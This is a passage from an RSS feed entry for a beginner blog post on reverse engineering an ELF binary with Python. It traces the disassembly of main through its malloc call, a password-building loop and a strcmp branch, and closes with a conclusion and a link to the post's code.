1721**0x6bd: lea rdi, [rip + 0xe6]**
17220x6c4: call qword ptr [rip + 0x200916]
17230x6ca: hlt
1724... snip ...
1725</code></pre>
1726
1727<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1728
1729<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1730
1731<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1732
1733<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1734
1735<pre><code>printf 0x650
1736fgets 0x660
1737strcmp 0x670
1738malloc 0x680
1739</code></pre>
1740
1741<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1742
1743<pre><code>0x7b2: mov edi, 0xa ; 10
17440x7b7: call 0x680 ; malloc
1745</code></pre>
1746
1747<p>The loop to populate the <code>*pw</code> string</p>
1748
1749<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
17500x7d3: cdqe
17510x7d5: lea rdx, [rax - 1]
17520x7d9: mov rax, qword ptr [rbp - 0x10]
17530x7dd: add rax, rdx
17540x7e0: movzx eax, byte ptr [rax]
17550x7e3: lea ecx, [rax + 1]
17560x7e6: mov eax, dword ptr [rbp - 0x14]
17570x7e9: movsxd rdx, eax
17580x7ec: mov rax, qword ptr [rbp - 0x10]
17590x7f0: add rax, rdx
17600x7f3: mov edx, ecx
17610x7f5: mov byte ptr [rax], dl
17620x7f7: add dword ptr [rbp - 0x14], 1
17630x7fb: cmp dword ptr [rbp - 0x14], 8
17640x7ff: jle 0x7d0
1765</code></pre>
1766
1767<p>And this looks like our <code>strcmp()</code></p>
1768
1769<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
17700x847: mov rax, qword ptr [rbp - 8] ; *pw
17710x84b: mov rsi, rdx
17720x84e: mov rdi, rax
17730x851: call 0x670 ; strcmp
17740x856: test eax, eax ; is = 0?
17750x858: jne 0x868 ; no? jump to 0x868
17760x85a: lea rdi, [rip + 0xae] ; "haha yes!"
17770x861: call 0x640 ; puts
17780x866: jmp 0x874
17790x868: lea rdi, [rip + 0xaa] ; "nah dude"
17800x86f: call 0x640 ; puts
1781</code></pre>
1782
1783<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1784
1785<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1786
1787<h3 id="conclusion">Conclusion</h3>
1788
1789<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1790
1791<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1792
1793<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1794]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1795</rss>